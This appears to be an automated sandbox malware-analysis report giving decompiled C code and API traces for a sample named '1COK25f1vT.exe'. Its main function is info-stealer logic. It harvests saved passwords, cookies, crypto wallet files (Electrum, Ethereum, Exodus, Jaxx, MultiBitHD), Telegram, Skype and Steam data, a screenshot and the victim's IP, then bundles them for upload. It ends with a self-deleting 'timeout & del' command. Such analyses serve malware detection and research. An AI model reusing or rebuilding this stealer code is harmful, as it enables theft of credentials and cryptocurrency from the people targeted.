Source File: 00000000.00000002.382597577.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.382580098.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.382611741.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.382620458.0000000000418000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$#585#648Copy
String ID:
API String ID: 2434384889-0
Opcode ID: 9092e9af79d66bb939cc2a33e7ee41047e9b0305851b965d39d1daca76d88384
Instruction ID: cb161aed6929ac8c101f63007b7306dfd3d24c2c9b1f30bf2065311e54c13fdb
Opcode Fuzzy Hash: 9092e9af79d66bb939cc2a33e7ee41047e9b0305851b965d39d1daca76d88384
Instruction Fuzzy Hash: F8113CB4D00259EBCB00DFA5DA48BDEBB78FB48740F10C12AF505B6260D7785946CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 004139F0, Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00413A27
#546.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00413A31
__vbaDateVar.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00413A3B
__vbaFreeVar.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00413A46
__vbaFreeStr.MSVBVM60(00413A6F), ref: 00413A68

Memory Dump Source

Source File: 00000000.00000002.382597577.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.382580098.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.382611741.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.382620458.0000000000418000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$#546CopyDate
String ID:
API String ID: 3262162454-0
Opcode ID: f959372754b28ee7bde1818ebba7a54e3d8da447548e3cb4f1dc80d7a0fec4b7
Instruction ID: abdfe9261e55f7ee05f60309868c515ee61fe70a9b37390eb118fbf07c284544
Opcode Fuzzy Hash: f959372754b28ee7bde1818ebba7a54e3d8da447548e3cb4f1dc80d7a0fec4b7
Instruction Fuzzy Hash: 2401FBB0910209EBCB04DFA4DE89EAEBBB8FF1C741F104129F502B6160EB745A45CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00414DD0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00414DD0(intOrPtr* _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v36;
				char _v40;
				void* _t27;
				void* _t35;
				void* _t37;
				intOrPtr _t39;

				 *[fs:0x0] = _t39;
				L00401400();
				_v28 = _t39;
				_v24 = 0x4012a0;
				_v20 = 0;
				_v16 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, _t35, _t37, _t27,  *[fs:0x0], 0x401406);
				_v8 = 1;
				_v8 = 2;
				__imp____vbaOnError(0xffffffff);
				_v8 = 3;
				_v40 = 0x28537b;
				 *((intOrPtr*)( *_a4 + 8))(_a4);
				_t16 =  &_v40; // 0x28537b
				 *_a8 =  *_t16;
				 *[fs:0x0] = _v36;
				return _v20;
			}

0x00414de2
0x00414dee
0x00414df6
0x00414df9
0x00414e00
0x00414e07
0x00414e17
0x00414e1a
0x00414e21
0x00414e2a
0x00414e30
0x00414e37
0x00414e47
0x00414e4d
0x00414e50
0x00414e58
0x00414e65

APIs

__vbaChkstk.MSVBVM60(?,00401406), ref: 00414DEE
__vbaOnError.MSVBVM60(000000FF,?,?,?,?,00401406), ref: 00414E2A

Strings

{S(, xrefs: 00414E4D

Memory Dump Source

Source File: 00000000.00000002.382597577.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.382580098.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.382611741.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.382620458.0000000000418000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$ChkstkError
String ID: {S(
API String ID: 3554142864-63371470
Opcode ID: 6e24350545742d3fc062487c412ab38978c71a7b2932f9f23623076bc5052a54
Instruction ID: f60ab2c8b616a088ab9c2640cbb6a619dbce2cf47c2cac77718e833ee441c707
Opcode Fuzzy Hash: 6e24350545742d3fc062487c412ab38978c71a7b2932f9f23623076bc5052a54
Instruction Fuzzy Hash: A3111B79A00608EFCB00DF88C985B9EBBB4FB48754F108159F915AB391C779AE05CFA4

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 1COK25f1vT.exe PID: 2132 Parent PID: 7040 1COK25f1vT.exeCOMMON

Executed Functions

Function 004186C4, Relevance: 104.3, APIs: 4, Strings: 55, Instructions: 1056
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E004186C4(char __eax, void* __ebx, void* __edi, signed int __esi, void* __fp0) {
				char _v8;
				char _v16;
				char _v20;
				char _v24;
				intOrPtr _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				void* _v60;
				char _v64;
				char _v68;
				signed int _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v92;
				char* _v96;
				char _v100;
				char _v104;
				char* _v108;
				void* _v112;
				char _v241;
				intOrPtr _v276;
				intOrPtr _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				intOrPtr _v292;
				intOrPtr _v296;
				intOrPtr _v300;
				char _v304;
				char _v308;
				char _v312;
				char _v316;
				char _v320;
				char _v324;
				char _v328;
				char _v332;
				char _v336;
				char _v340;
				char _v344;
				char _v348;
				char _v352;
				char _v356;
				char _v360;
				char _v364;
				char _v368;
				char _v372;
				char _v376;
				char _v380;
				char _v384;
				char _v388;
				char _v392;
				char _v396;
				char _v400;
				char _v404;
				char _v408;
				char _v412;
				char _v416;
				char _v420;
				char _v424;
				char _v428;
				char _v432;
				char _v436;
				char _v440;
				char _v444;
				char _v448;
				intOrPtr _v452;
				intOrPtr _v456;
				char _v460;
				char _v464;
				char _v468;
				char _v472;
				char _v476;
				char _v480;
				char _v484;
				char _v488;
				char _v492;
				char _v496;
				char _v500;
				char _v504;
				char _v508;
				char _v512;
				char _v516;
				char _v520;
				char _v524;
				char _v528;
				char _v532;
				char _v536;
				char _v540;
				char _v544;
				char _v548;
				char _v552;
				char _v556;
				char _v560;
				char _v564;
				char _v568;
				char _v572;
				char _v576;
				char _v580;
				char _v584;
				char _v588;
				char _v592;
				char _v596;
				char _v600;
				char _v604;
				char _v608;
				char _v612;
				intOrPtr _v616;
				char _v620;
				char _v624;
				char _v628;
				char _v632;
				char _v636;
				char _v640;
				char _v644;
				void* _t444;
				void* _t450;
				intOrPtr* _t451;
				intOrPtr* _t616;
				intOrPtr* _t623;
				intOrPtr* _t630;
				intOrPtr* _t637;
				intOrPtr* _t651;
				intOrPtr* _t652;
				intOrPtr* _t653;
				intOrPtr* _t656;
				intOrPtr* _t657;
				intOrPtr* _t660;
				intOrPtr* _t661;
				intOrPtr* _t664;
				intOrPtr* _t672;
				void* _t678;
				intOrPtr* _t715;
				intOrPtr* _t751;
				intOrPtr* _t752;
				intOrPtr _t757;
				signed int _t807;
				intOrPtr* _t828;
				intOrPtr* _t831;
				signed int _t838;
				signed int _t885;
				intOrPtr _t902;
				int _t921;
				void* _t934;
				void* _t936;
				void* _t938;
				void* _t940;
				void* _t942;
				void* _t944;
				intOrPtr* _t945;
				intOrPtr* _t948;
				intOrPtr* _t949;
				intOrPtr* _t950;
				signed int _t963;
				signed int _t964;
				void* _t965;
				void* _t989;
				intOrPtr _t997;
				intOrPtr _t1015;
				intOrPtr* _t1088;
				void* _t1109;
				intOrPtr* _t1111;
				intOrPtr* _t1113;
				intOrPtr* _t1115;
				char** _t1118;
				void* _t1125;
				void* _t1153;
				void* _t1155;
				void* _t1156;
				intOrPtr _t1160;
				intOrPtr _t1161;
				void* _t1164;
				void* _t1191;
				void* _t1197;
				void* _t1205;
				void* _t1207;

				_t1207 = __fp0;
				_t1157 = __esi;
				_t1151 = __edi;
				_t962 = __ebx;
				_t1160 = _t1161;
				_t965 = 0x50;
				do {
					_push(0);
					_push(0);
					_t965 = _t965 - 1;
					_t1162 = _t965;
				} while (_t965 != 0);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v8 = __eax;
				E00403980(_v8);
				_push(_t1160);
				_push(0x41985e);
				_push( *[fs:eax]);
				 *[fs:eax] = _t1161;
				E004034E4( &_v76);
				_v86 = 0;
				_v85 = 0;
				E0040357C( &_v92, 0x41987c);
				E00405668();
				E00407DE0( &_v308, _t1162);
				_push( &_v308);
				E00406CE8( &_v312, __ebx, __esi); // executed
				_pop(_t444);
				E00403798(_t444, _v312);
				_t450 = CreateMutexA(0, 0, E00403990(_v308)); // executed
				_v112 = _t450;
				_t451 =  *0x41b12c; // 0x41c6a4
				if( *((intOrPtr*)( *_t451))() == 0xb7) {
					L71:
					_pop(_t997);
					 *[fs:eax] = _t997;
					_push(E00419868);
					E004034E4( &_v644);
					E00403BF4( &_v640, 2);
					E004034E4( &_v632);
					E00403BF4( &_v628, 5);
					E00403508( &_v608, 9);
					E00403BDC( &_v572);
					E00403508( &_v568, 2);
					E00403BDC( &_v560);
					E00403508( &_v556, 2);
					E00403BDC( &_v548);
					E00403508( &_v544, 2);
					E00403BDC( &_v536);
					E00403508( &_v532, 2);
					E00403BDC( &_v524);
					E00403508( &_v520, 2);
					E00403BDC( &_v512);
					E00403508( &_v508, 2);
					E00403BDC( &_v500);
					E00403508( &_v496, 2);
					E00403BDC( &_v488);
					E00403508( &_v484, 0xa);
					E00403BF4( &_v444, 2);
					E004034E4( &_v436);
					E00403BF4( &_v432, 3);
					E004034E4( &_v420);
					E00403BF4( &_v416, 2);
					E004034E4( &_v408);
					E00403BF4( &_v404, 8);
					E004034E4( &_v372);
					E00403BF4( &_v368, 4);
					E00403508( &_v352, 0xc);
					E004034E4( &_v68);
					_t1015 =  *0x405f50; // 0x405f54
					E00404280( &_v64, 5, _t1015);
					E00403508( &_v44, 8);
					E004034E4( &_v8);
					E00403508( &_v108, 5);
					return E00403508( &_v84, 3);
				}
				E0040357C( &_v16, 0x419888);
				E00416DD4( &_v16, __ebx, 0x80000, 0x419928, __edi, __esi);
				E004069A8(_v16, _t962,  &_v316, __edi, _t1157);
				E0040357C( &_v16, _v316);
				E00406CE8( &_v324, _t962, _t1157); // executed
				E00406834(_v324, _t962, 0x80000,  &_v320, _t1151, _t1157);
				E004037DC( &_v36, _v320, 0x419934);
				E00416DD4( &_v36, _t962, 0x80000, _v92, _t1151, _t1157);
				E00417D84(_v16, _t962, _v36, _t1151, _t1157,  &_v20); // executed
				E00416DD4( &_v20, _t962, 0x80000, _v92, _t1151, _t1157);
				_t1164 = E00403790(_v20) - 0x2710;
				if(_t1164 < 0) {
					goto L71;
				}
				E004038DC(_v20, 0x419940);
				if(_t1164 == 0) {
					goto L71;
				}
				E004074E8(0x419960, _t962, 0x419950, _v20, _t1157,  &_v328);
				E004069A8(_v328, _t962,  &_v40, _t1151, _t1157);
				E004074E8(0x41997c, _t962, 0x41996c, _v20, _t1157,  &_v332);
				E00406B08(_v332, _t962,  &_v44, _t1151, _t1157);
				E00407A18(0x419988,  &_v48, _v40, _t1164);
				_t977 = 0x419994;
				E004074E8(0x4199a4, _t962, 0x419994, _v20, _t1157,  &_v340);
				_t1035 =  &_v336;
				E004069A8(_v340, _t962,  &_v336, _t1151, _t1157);
				E00408180(_v336, _t1164);
				E00409668(_v44, _t962, _t1157, _t1164); // executed
				E0040E630();
				_t1153 = E00404648(_v48) - 1;
				if(_t1153 < 0) {
					L51:
					_t238 =  &_v8; // 0x2b
					_push( *_t238);
					_push(0x419988);
					E0041698C( &_v460, _t962, _t1035, _t1153, _t1157); // executed
					_push(_v460);
					E00403850();
					E0040E6D4(_v456, _t962, "System.txt", _t1153, _t1157);
					E00406CE8( &_v468, _t962, _t1157); // executed
					E00406834(_v468, _t962, _t977,  &_v464, _t1153, _t1157);
					_push(_v464);
					_push(0x419ec0);
					E00407B08( &_v476, _t962, _t1153, _t1157);
					E00406834(_v476, _t962, _t977,  &_v472, _t1153, _t1157);
					_push(_v472);
					_push(0x419ec0);
					E00406BD8( &_v488);
					E0040377C( &_v484, _v488);
					E00406834(_v484, _t962, _t977,  &_v480, _t1153, _t1157);
					_push(_v480);
					_push(0x419ec0);
					E004066E4( &_v500, _t1192);
					E0040377C( &_v496, _v500);
					E00406834(_v496, _t962, _t977,  &_v492, _t1153, _t1157);
					_push(_v492);
					_push(0x419ec0);
					E00406634( &_v512);
					E0040377C( &_v508, _v512);
					E00406834(_v508, _t962, _t977,  &_v504, _t1153, _t1157);
					_push(_v504);
					_push(0x419ec0);
					E004065F0( &_v524);
					E0040377C( &_v520, _v524);
					E00406834(_v520, _t962, _t977,  &_v516, _t1153, _t1157);
					_push(_v516);
					_push(0x419ec0);
					_t616 =  *0x41b2a8; // 0x41b0b8
					E0040709C( *_t616, _t962,  &_v536, _t1157, _t1192);
					E0040377C( &_v532, _v536);
					E00406834(_v532, _t962, _t977,  &_v528, _t1153, _t1157);
					_push(_v528);
					_push(0x419ec0);
					_t623 =  *0x41b2c4; // 0x41b0b0
					E0040709C( *_t623, _t962,  &_v548, _t1157, _t1192);
					E0040377C( &_v544, _v548);
					E00406834(_v544, _t962, _t977,  &_v540, _t1153, _t1157);
					_push(_v540);
					_push(0x419ec0);
					_t630 =  *0x41b1cc; // 0x41b0b4
					E0040709C( *_t630, _t962,  &_v560, _t1157, _t1192);
					E0040377C( &_v556, _v560);
					E00406834(_v556, _t962, _t977,  &_v552, _t1153, _t1157);
					_push(_v552);
					_push(0x419ec0);
					_t637 =  *0x41b3f8; // 0x41b0ac
					E0040709C( *_t637, _t962,  &_v572, _t1157, _t1192);
					E0040377C( &_v568, _v572);
					E00406834(_v568, _t962, _t977,  &_v564, _t1153, _t1157);
					_push(_v564);
					_push(0x419ec0);
					E00406834(_v8, _t962, _t977,  &_v576, _t1153, _t1157);
					_push(_v576);
					_push(0x419ec0);
					E00407DE0( &_v584, _t1192);
					E00406834(_v584, _t962, _t977,  &_v580, _t1153, _t1157);
					_push(_v580);
					E00403850();
					_push("<info");
					_t651 =  *0x41b350; // 0x41b0bc
					_push( *_t651);
					_push(0x419edc);
					_push(_v28);
					_push("</info");
					_t652 =  *0x41b350; // 0x41b0bc
					_push( *_t652);
					_push(0x419edc);
					_push(0x419988);
					_push("<pwds");
					_t653 =  *0x41b350; // 0x41b0bc
					_push( *_t653);
					_push(0x419edc);
					E004063C8( &_v588, _t962, _t1153, _t1157);
					_push(_v588);
					_push("</pwds");
					_t656 =  *0x41b350; // 0x41b0bc
					_push( *_t656);
					_push(0x419edc);
					_push(0x419988);
					_push("<coks");
					_t657 =  *0x41b350; // 0x41b0bc
					_push( *_t657);
					_push(0x419edc);
					E00406560( &_v592, _t962, _t977, _t1153, _t1157);
					_push(_v592);
					_push("</coks");
					_t660 =  *0x41b350; // 0x41b0bc
					_push( *_t660);
					_push(0x419edc);
					_push(0x419988);
					_push("<file");
					_t661 =  *0x41b350; // 0x41b0bc
					_push( *_t661);
					_push(0x419edc);
					E0040E8D0( &_v596, _t962, _t1192);
					_push(_v596);
					_push("</file");
					_t664 =  *0x41b350; // 0x41b0bc
					_push( *_t664);
					_push(0x419edc);
					_push(0x419988);
					E00403850();
					_t1193 = _v85 - 1;
					if(_v85 == 1) {
						_push(_v24);
						_push("<ip");
						_t751 =  *0x41b350; // 0x41b0bc
						_push( *_t751);
						_push(0x419edc);
						_push(_v80);
						_push(0x419e90);
						_push(_v84);
						_push("</ip");
						_t752 =  *0x41b350; // 0x41b0bc
						_push( *_t752);
						_push(0x419edc);
						_push(0x419988);
						E00403850();
					}
					E00416DD4( &_v24, _t962, 0x80000, _v92, _t1153, _t1157);
					_t979 = 0;
					E00417D84(_v16, _t962, _v24, _t1153, _t1157,  &_v600); // executed
					_t672 =  *0x41b3a0; // 0x41c6a0
					 *((intOrPtr*)( *_t672))(_v112);
					E00405114(0x419f74, _t962, _t1153, _t1157, _t1193);
					_t678 = E00403790(_v76);
					_t1194 = _t678 - 3;
					if(_t678 <= 3) {
						L65:
						E004099C0(_t962, _t1157); // executed
						E00407DE0( &_v608, _t1205);
						E004038DC(_v608, 0x419fa4);
						if(_t1205 != 0) {
							L68:
							E004038DC(_v8, 0x419fb0);
							if(__eflags == 0) {
								__eflags = _v86 - 1;
								if(_v86 == 1) {
									E004028E0( &_v304, 0x3c);
									_v304 = 0x3c;
									_v300 = 0x1c0;
									_v296 = 0;
									_v292 = 0;
									E004062FC(L"%comspec%",  &_v612, __eflags);
									_v288 = E00403D98(_v612);
									E004062FC(L"/c %WINDIR%\\system32\\timeout.exe 3 & del \"",  &_v620, __eflags);
									E00402754(0,  &_v632);
									E00403D88( &_v628, _v632);
									E004077C8(_v628, _t962, 0,  &_v624, _t1157, __eflags);
									E00403E78();
									_v284 = E00403D98(_v616);
									E00402754(0,  &_v644);
									E00403D88( &_v640, _v644);
									E00407854(_v640, _t962, 0,  &_v636, _t1157, __eflags);
									_v280 = E00403D98(_v636);
									__eflags = 0;
									_v276 = 0;
									_t715 =  *0x41b150; // 0x41c764
									 *((intOrPtr*)( *_t715))( &_v304, E0041A02C, _v624, _v620); // executed
									ExitProcess(0); // executed
								}
							}
							goto L71;
						}
						E004038DC(_v8, 0x419fb0);
						if(_t1205 != 0) {
							goto L68;
						}
						E00407E90(_t962, _t979, _t1153, _t1157, _t1205);
						goto L71;
					} else {
						_t979 =  &_v56;
						E00407A18(0x419988,  &_v56, _v76, _t1194);
						_t1153 = E00404648(_v56) - 1;
						if(_t1153 < 0) {
							goto L65;
						}
						_t1155 = _t1153 + 1;
						_t963 = 0;
						do {
							_push(0);
							E00404804();
							_t1161 = _t1161 + 4;
							_t979 =  &_v60;
							E00407A18(0x419db4,  &_v60,  *((intOrPtr*)(_v56 + _t963 * 4)), 0);
							_t1197 = E00404648(_v60) - 4;
							if(_t1197 != 0) {
								goto L64;
							}
							E004038DC( *_v60, 0x419f80);
							if(_t1197 != 0) {
								goto L64;
							}
							_t979 =  &_v64;
							E00407A18(0x419f8c,  &_v64,  *((intOrPtr*)(_v60 + 0xc)), _t1197);
							_v87 = 0;
							_t1157 = E00404648(_v64) - 1;
							if(_t1157 < 0) {
								L62:
								_t1203 = _v87 - 1;
								if(_v87 == 1) {
									E004038DC( *((intOrPtr*)(_v60 + 8)), 0x419f98);
									E0041841C( *((intOrPtr*)(_v60 + 4)), _t963, 0x419f00 | _t1203 == 0x00000000, _t1155, _t1157);
								}
								goto L64;
							}
							_t1157 = _t1157 + 1;
							_v72 = 0;
							while(1) {
								E0040633C( *((intOrPtr*)(_v64 + _v72 * 4)), _t963,  &_v604, _t1155, _t1157);
								_t1088 =  *0x41b154; // 0x41c66c
								_v87 = E00403AD4(_v604,  *_t1088) != 0;
								if(_v87 == 1) {
									goto L62;
								}
								_v72 = _v72 + 1;
								_t1157 = _t1157 - 1;
								if(_t1157 != 0) {
									continue;
								}
								goto L62;
							}
							goto L62;
							L64:
							_t963 = _t963 + 1;
							_t1155 = _t1155 - 1;
							_t1205 = _t1155;
						} while (_t1205 != 0);
						goto L65;
					}
				} else {
					_t1156 = _t1153 + 1;
					_t964 = 0;
					do {
						if(E00403790( *((intOrPtr*)(_v48 + _t964 * 4))) < 5) {
							goto L50;
						}
						if(_t964 != 0) {
							L34:
							_t757 = _v48;
							_t1186 =  *((char*)( *((intOrPtr*)(_t757 + _t964 * 4)))) - 0x46;
							if( *((char*)( *((intOrPtr*)(_t757 + _t964 * 4)))) != 0x46) {
								L44:
								if( *((char*)( *((intOrPtr*)(_v48 + _t964 * 4)))) == 0x4c) {
									_push(_v76);
									_push( *((intOrPtr*)(_v48 + _t964 * 4)));
									_push(0x419988);
									_t1035 = 3;
									E00403850();
								}
								_t1191 =  *((char*)( *((intOrPtr*)(_v48 + _t964 * 4)))) - 0x49;
								if(_t1191 == 0) {
									_t977 =  &_v52;
									E00407A18(0x419db4,  &_v52,  *((intOrPtr*)(_v48 + _t964 * 4)), _t1191);
									E004038DC( *((intOrPtr*)(_v52 + 4)), 0x419e20);
									if(_t1191 != 0) {
										_t1035 = "ip.txt";
										E0040E6D4( *((intOrPtr*)(_v52 + 4)), _t964, "ip.txt", _t1156, _t1157);
									} else {
										_v85 = 1;
										E00417D84("http://ip-api.com/json", _t964, 0, _t1156, _t1157,  &_v32);
										E004074E8("\"query\":\"", _t964, 0x419e58, _v32, _t1157,  &_v80);
										_t977 = 0x419e58;
										E004074E8("\"countryCode\":\"", _t964, 0x419e58, _v32, _t1157,  &_v84);
										_push(_v80);
										_push(0x419e90);
										_push(_v84);
										E00403850();
										_t1035 = "ip.txt";
										E0040E6D4(_v452, _t964, "ip.txt", _t1156, _t1157);
									}
								}
								goto L50;
							}
							E00407A18(0x419db4,  &_v52,  *((intOrPtr*)(_v48 + _t964 * 4)), _t1186);
							E0040357C( &_v96,  *((intOrPtr*)(_v52 + 8)));
							if(E00403AD4(0x419dc0, _v96) != 1) {
								E00403D88( &_v424,  *((intOrPtr*)(_v52 + 0x1c)));
								_push(_v424);
								E00403D88( &_v428,  *((intOrPtr*)(_v52 + 0x10)));
								_push(E00407108(_v428, _t964,  &_v52, __eflags));
								_push(E004038DC( *((intOrPtr*)(_v52 + 0x14)), 0x419e04) & 0xffffff00 | __eflags == 0x00000000);
								_t807 = E004038DC( *((intOrPtr*)(_v52 + 0x18)), 0x419e04);
								_t192 = __eflags == 0;
								__eflags = _t192;
								_push(_t807 & 0xffffff00 | _t192);
								_push(1);
								_push("Files\\");
								_push( *((intOrPtr*)(_v52 + 4)));
								_push(0x419de8);
								E00403850();
								E00403D88( &_v432, _v436);
								_push(_v432);
								E00403D88( &_v440,  *((intOrPtr*)(_v52 + 0xc)));
								_push(_v440);
								E004037DC( &_v448, 0x419de8,  *((intOrPtr*)(_v52 + 8)));
								E00403D88( &_v444, _v448);
								_pop(_t1035);
								_pop(_t977);
								E00413F58(_v444, _t964, _t977, _t1035, _t1156, _t1157);
								goto L44;
							}
							_t977 = 0x419dd0;
							_t1035 = _v96;
							E004074E8(0x419dc0, _t964, 0x419dd0, _v96, _t1157,  &_v108);
							_push( &_v241);
							_push(0x81);
							_t828 =  *0x41b240; // 0x41c6f8
							if( *((intOrPtr*)( *_t828))() == 0) {
								goto L71;
							}
							_t1157 =  &_v241;
							while( *_t1157 != 0) {
								_t831 =  *0x41b114; // 0x41c6fc
								E0040709C( *((intOrPtr*)( *_t831))(_t1157), _t964,  &_v356, _t1157, __eflags);
								E0040377C( &_v352, _v356);
								_t1035 = _v108;
								_t838 = E00403AD4(_v352, _v108);
								__eflags = _t838;
								if(_t838 != 0) {
									_push( &_v360);
									E00403CF4( &_v364, _t1157);
									_push(_v364);
									_push("%DSK_");
									_push(_v108);
									E00403850();
									E00403D88( &_v368, _v372);
									_push(_v368);
									E00403D88( &_v376, _v96);
									_pop(_t1125);
									_t989 = 0x419ddc;
									E0040717C(_v376, _t964, _t989, _t1125);
									E0040377C( &_v104, _v360);
									E004034E4( &_v100);
									_push( *((intOrPtr*)(_v52 + 4)));
									_push(0x419de8);
									_push(_v104);
									E00403850();
									E00403D88( &_v384, _v100);
									E0040717C(_v384, _t964, 0, 0x419df0,  &_v380);
									E00403DB4( &_v380, 0, 0x419df8, __eflags);
									E0040377C( &_v100, _v380);
									E00403D88( &_v392, _v100);
									E004078D8(_v392, _t964,  &_v388, __eflags);
									E0040377C( &_v100, _v388);
									E00403D88( &_v396,  *((intOrPtr*)(_v52 + 0x1c)));
									_push(_v396);
									E00403D88( &_v400,  *((intOrPtr*)(_v52 + 0x10)));
									_push(E00407108(_v400, _t964, 0, __eflags));
									_push(E004038DC( *((intOrPtr*)(_v52 + 0x14)), 0x419e04) & 0xffffff00 | __eflags == 0x00000000);
									_t885 = E004038DC( *((intOrPtr*)(_v52 + 0x18)), 0x419e04);
									_t162 = __eflags == 0;
									__eflags = _t162;
									_push(_t885 & 0xffffff00 | _t162);
									_push(1);
									E004037DC( &_v408, _v100, "Files\\");
									E00403D88( &_v404, _v408);
									_push(_v404);
									E00403D88( &_v412,  *((intOrPtr*)(_v52 + 0xc)));
									_push(_v412);
									E004037DC( &_v420, 0x419de8, _v104);
									E00403D88( &_v416, _v420);
									_pop(_t1035);
									_pop(_t977);
									E00413F58(_v416, _t964, _t977, _t1035, _t1156, _t1157);
								}
								_t1157 = _t1157 + 4;
								__eflags = _t1157;
							}
							goto L44;
						} else {
							_t902 =  *((intOrPtr*)(_v48 + _t964 * 4));
							_t1169 =  *((char*)(_t902 + 1)) - 0x2b;
							if( *((char*)(_t902 + 1)) == 0x2b) {
								E0040E1DC(_t964, _t1035, _t1156, _t1157, _t1169, _t1207); // executed
								E00405424( &_v344);
								_t1035 = "PasswordsList.txt";
								E0040E6D4(_v344, _t964, "PasswordsList.txt", _t1156, _t1157);
							}
							if( *((char*)( *((intOrPtr*)(_v48 + _t964 * 4)) + 2)) == 0x2b) {
								E00413BB4();
								E00405574( &_v348);
								_t1118 =  *0x41b2fc; // 0x41ca18
								_t1035 =  *_t1118;
								E0040E6D4(_v348, _t964,  *_t1118, _t1156, _t1157);
							}
							if( *((char*)( *((intOrPtr*)(_v48 + _t964 * 4)) + 9)) == 0x2b) {
								E00413BE8();
							}
							if( *((char*)( *((intOrPtr*)(_v48 + _t964 * 4)) + 3)) == 0x2b) {
								E00414DE8(L"Coins", _t964, _t1156, _t1157); // executed
								_t934 = E00413F58(L"%appdata%\\Electrum\\wallets\\", _t964, L"Coins\\Electrum", 0x4199fc, _t1156, _t1157, 0, 0, 1, 0x7d0, 0);
								_t1111 =  *0x41b2c4; // 0x41b0b0
								 *_t1111 =  *_t1111 + _t934;
								_t936 = E00413F58(L"%appdata%\\Electrum-LTC\\wallets\\", _t964, L"Coins\\Electrum-LTC", 0x4199fc, _t1156, _t1157, 0, 0, 1, 0x7d0, 0);
								_t1113 =  *0x41b2c4; // 0x41b0b0
								 *_t1113 =  *_t1113 + _t936;
								_t938 = E00413F58(L"%APPDATA%\\Ethereum\\keystore\\", _t964, L"Coins\\Ethereum", L"UTC*", _t1156, _t1157, 0, 0, 1, 0x1388, 0);
								_t1115 =  *0x41b2c4; // 0x41b0b0
								 *_t1115 =  *_t1115 + _t938;
								_t940 = E00413F58(L"%APPDATA%\\Exodus\\", _t964, L"Coins\\Exodus", L"*.json,*.seco", _t1156, _t1157, 0, 0, 1, 0x1388, 0); // executed
								if(_t940 > 0) {
									_t950 =  *0x41b2c4; // 0x41b0b0
									 *_t950 =  *_t950 + 1;
								}
								_t942 = E00413F58(L"%APPDATA%\\Jaxx\\Local Storage\\", _t964, L"Coins\\Jaxx\\Local Storage\\", 0x4199fc, _t1156, _t1157, 0, 0, 1, 0x1388, 0); // executed
								if(_t942 > 0) {
									_t949 =  *0x41b2c4; // 0x41b0b0
									 *_t949 =  *_t949 + 1;
								}
								_t977 = L"Coins\\MultiBitHD";
								_t1035 = L"mbhd.wallet.aes,mbhd.checkpoints,mbhd.spvchain,mbhd.yaml";
								_t944 = E00413F58(L"%APPDATA%\\MultiBitHD\\", _t964, L"Coins\\MultiBitHD", L"mbhd.wallet.aes,mbhd.checkpoints,mbhd.spvchain,mbhd.yaml", _t1156, _t1157, 0, 0, 1, 0x1388, 0); // executed
								if(_t944 > 0) {
									_t948 =  *0x41b2c4; // 0x41b0b0
									 *_t948 =  *_t948 + 1;
								}
								_t945 =  *0x41b2c4; // 0x41b0b0
								_t1179 =  *_t945;
								if( *_t945 > 0) {
									E00405114(0x419cd8, _t964, _t1156, _t1157, _t1179);
								}
							}
							if( *((char*)( *((intOrPtr*)(_v48 + _t964 * 4)) + 4)) == 0x2b) {
								E00414808(L"Skype", _t964, _t1156, _t1157); // executed
							}
							if( *((char*)( *((intOrPtr*)(_v48 + _t964 * 4)) + 5)) == 0x2b) {
								_t977 = L"Telegram";
								_t1035 = L"D877F783D5*,map*";
								E00413F58(L"%appdata%\\Telegram Desktop\\tdata\\", _t964, L"Telegram", L"D877F783D5*,map*", _t1156, _t1157, 0, 0, 1, 0x3e8, 0); // executed
							}
							if( *((char*)( *((intOrPtr*)(_v48 + _t964 * 4)) + 6)) == 0x2b) {
								E00414A90(L"Steam", _t964, _t1156, _t1157); // executed
							}
							if( *((char*)( *((intOrPtr*)(_v48 + _t964 * 4)) + 7)) == 0x2b) {
								_push(0);
								_push(0x32);
								_push(L"image/jpeg");
								_push( &_v68);
								_push(GetSystemMetrics(1));
								_t921 = GetSystemMetrics(0);
								_t977 = 0;
								_pop(_t1109); // executed
								E00416FB0(_t921, _t964, 0, _t1109, _t1156, _t1157); // executed
								_t1035 = "scr.jpg";
								E0040E6D4(_v68, _t964, "scr.jpg", _t1156, _t1157);
							}
							if( *((char*)( *((intOrPtr*)(_v48 + _t964 * 4)) + 8)) == 0x2b) {
								_v86 = 1;
							}
							goto L34;
						}
						L50:
						_t964 = _t964 + 1;
						_t1156 = _t1156 - 1;
						_t1192 = _t1156;
					} while (_t1156 != 0);
					goto L51;
				}
			}

0x004186c4
0x004186c4
0x004186c4
0x004186c4
0x004186c5
0x004186c7
0x004186cc
0x004186cc
0x004186ce
0x004186d0
0x004186d0
0x004186d0
0x004186d3
0x004186d4
0x004186d5
0x004186d6
0x004186dc
0x004186e3
0x004186e4
0x004186e9
0x004186ec
0x004186f2
0x004186f7
